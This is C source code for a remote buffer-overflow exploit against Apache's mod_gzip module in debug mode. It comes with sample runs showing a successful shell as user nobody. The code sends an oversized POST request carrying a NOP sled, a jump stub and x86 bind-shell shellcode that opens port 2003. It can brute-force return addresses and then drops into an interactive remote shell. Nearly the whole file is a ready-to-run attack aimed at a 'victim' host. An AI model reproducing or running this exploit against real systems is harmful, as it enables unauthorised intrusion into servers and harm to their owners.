/*
\    [exploit code] for mod_gzip (with debug_mode) <= 1.2.26.1a
/
\    Created by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
/
\    Tested on RedHat 8.0 (Psyche) (here is target for it), also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target for it :)
/
\
*/

/*
\
/  Single mode:
\
/    [crz@blacksand crz]$ ./85mod_gzip -t 0 -h localhost
\ 
/    remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
\                     by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
/ 
\    Using: ret_err = 0x42127480, ret = 0xbfffd8f0
/ 
\      [!] Connecting to localhost:80
/        [+] Connected!
\        [*] Trying to connect to localhost:2003 port!!! Pray for success!
/        [*] Sleeping at 2 seconds...
\ 
/        [!] Shell is accessible!
\ 
/        uid=99(nobody) gid=99(nobody) groups=99(nobody)
\        Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/ 
\  Brute mode:
/ 
\  [crz@blacksand crz]$ ./85mod_gzip -h localhost -b 0xbfffffff -s 1000
/
\  remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/                   by xCrZx [crazy_einstein@yahoo.com] /05.06.03/
\
/  Using: ret_err = 0x42127480, ret = 0xbfffffff ,step = 1000
\
/  [~] Brutemode activated!
\  .
/  [!] Shell is accessible!
\
/  uid=99(nobody) gid=99(nobody) groups=99(nobody)
\  Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
/
\
*/



#include <stdio.h>
#include <netinet/in.h>  
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>


#define STEP 1000

char fmt[] =

"POST /?%s HTTP/1.1\r\n"
"Content-Type: text/html\r\n"
"Host: %s\r\n"
"Content-Length: %d\r\n"
"Accept-Encoding: gzip, deflate\r\n\r\n"
"%s\r\n\r\n";

   
struct TARGETS {
  char *distr;
  long ret;
  long std_err;
  char *shellcode;
  char *jmp;
} targets[] = { 
  
  /* you can add targets here */
  
  {"RedHat 8.0 (Psyche)",  // disributive info
   0xbfffd8f0, // return address in stack
   0x42127480, // address of stderr
   //shellcode for Linux x86 -> bind shell on 2003 port//
         "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
         "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d"
         "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
         "\x07\xd3\x31\xd2\x89\x55\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10"
         "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45"
         "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
         "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
         "\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80",

       /*

       special jump instruction (to avoid bad characters in url):
        (jump on our shellcode into heap)
 
   movl $0xa1a51baa,%ebx
   addl $0x66666666,%ebx
   jmp *%ebx

        */
   
        "\xbb\xaa\x1b\xa5\xa1\x81\xc3\x66\x66\x66\x66\xff\xe3"

  } };

   
long getip(char *hostname) {
  struct hostent *he;
  long ipaddr;
  
  if ((ipaddr = inet_addr(hostname)) < 0) {
    if ((he = gethostbyname(hostname)) == NULL) {
      perror("gethostbyname()");
      exit(-1);
    }
    memcpy(&ipaddr, he->h_addr, he->h_length);
  }  
  return ipaddr;
}

void usage(char *prog) {

  int i=0;
  
  printf("\nUsage: %s <-h www.victim.com> [-p port] [-t target] [-r manual_retaddr] [-b addr] [-s step_num]\n\nTargets:\n",prog);
  while(targets[i++].distr) printf("\t[%d] -> %s\n",i-1,targets[i-1].distr);
  printf("\n");
  exit(0);

}

int main(int argc, char **argv) {
 
      int i=0;     
      struct sockaddr_in sockstruct;
      struct hostent *HOST;
      char tmp[20000];
  char buf1[5000],buf2[10000];
      int sock;
      fd_set  rset;
  int port=80,shellport=2003;
  int step=STEP;
  char *victim=NULL;
  long ret=0xbfffffff,ret_err;
  int brutemode=0;
  char *shellcode,*jmp;
  int trg=0;

  printf("\nremote exploit for mod_gzip (debug_mode) [Linux/*BSD]\n\t\t by xCrZx [crazy_einstein@yahoo.com] /05.06.03/\n");

  for(i=0;i<argc;i++) {
    if(argv[i][1]=='h') victim=argv[i+1];
    if(argv[i][1]=='p') port=atoi(argv[i+1]);
    if(argv[i][1]=='t') {ret=targets[atoi(argv[i+1])].ret;trg=atoi(argv[i+1]);}
                 if(argv[i][1]=='r') sscanf(argv[i+1],"0x%x",&ret);  
    if(argv[i][1]=='b') { brutemode=1; ret=strtoul(argv[i+1],0,16);}
    if(argv[i][1]=='s') { step=atoi(argv[i+1]);}
  }

  if(!victim || ret==0) usage(argv[0]);

  ret_err=targets[trg].std_err;
  shellcode=targets[trg].shellcode;
  jmp=targets[trg].jmp;

  printf("\nUsing: ret_err = 0x%x, ret = 0x%x",ret_err,ret);
  if(brutemode) printf(" ,step = %d\n",step);
  
  printf("\n");
  
  if(brutemode)printf("[~] Brutemode activated!\n");

  do {
      
      sock=socket(PF_INET,SOCK_STREAM,0);
      sockstruct.sin_family=PF_INET; 
      sockstruct.sin_addr.s_addr=getip(victim);
      sockstruct.sin_port=htons(port);

      if(!brutemode)printf("\n[!] Connecting to %s:%d\n",victim,port);
   
        if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {

          if(!brutemode)printf("[+] Connected!\n",i);

    memset(tmp ,0x00,sizeof tmp );
                 memset(buf1,0x00,sizeof buf1);
           memset(buf2,0x00,sizeof buf2);

    memset(buf1,0x90,2016);
    memcpy(buf1+strlen(buf1),jmp,strlen(jmp));
    memset(buf1+strlen(buf1),0x90,2280);
    *(long *)&buf1[strlen(buf1)]=ret_err;
    for(i=0;i<100;i++) *(long *)&buf1[strlen(buf1)]=ret;

    memset(buf2,0x90,1000);
    memcpy(buf2+strlen(buf2),shellcode,strlen(shellcode));
    
    sprintf(tmp,fmt,buf1,victim,strlen(buf2),buf2);
    write(sock,tmp,strlen(tmp));

        }else { printf("[x] Error: Could not connect to %s:%d!\n",victim,port);exit(0);}
    
        close(sock);

  ret-= step;

  if(brutemode) {printf(".");fflush(stdout);}
  

  if(!brutemode) {  
    printf("[*] Trying to connect to %s:%d port!!! Pray for success!\n",victim,shellport);
    printf("[*] Sleeping at 2 seconds...\n");
  }
  
  sleep(2);
  
         sock=socket(PF_INET,SOCK_STREAM,0);

  bzero(sockstruct.sin_zero,sizeof(sockstruct.sin_zero));
  sockstruct.sin_family=PF_INET; 
         sockstruct.sin_addr.s_addr=getip(victim);
         sockstruct.sin_port=htons(shellport);

         if(connect(sock,(struct sockaddr*)&sockstruct,sizeof(sockstruct))>-1) {
          printf("\n[!] Shell is accessible!\n\n");
          write(sock, "id;uname -a\n", 12); 
          while (1) {
                  FD_ZERO(&rset);
                  FD_SET(sock,&rset);
                  FD_SET(STDIN_FILENO,&rset);
                  select(sock + 1, &rset, NULL, NULL, NULL);

             if (FD_ISSET(sock, &rset)) {
                          i = read(sock, tmp, sizeof(tmp) - 1);
                          if (i <= 0) {
                                  printf("[!] Connection closed.\n");
                                  close(sock);
                                  exit(0);
                          }
                        tmp[i] = 0;
                        printf("%s", tmp);
                  }
                  if (FD_ISSET(STDIN_FILENO, &rset)) {
                          i = read(STDIN_FILENO, tmp, sizeof(tmp) - 1);
                          if (i > 0) {
                                  tmp[i]=0;
                                  write(sock, tmp, i);
                          }
                  }
          }
         } else if(!brutemode)printf("[x] Shell is inaccessible..\n\n");

         close(sock);

  } while ( brutemode );

      
      return 0;
}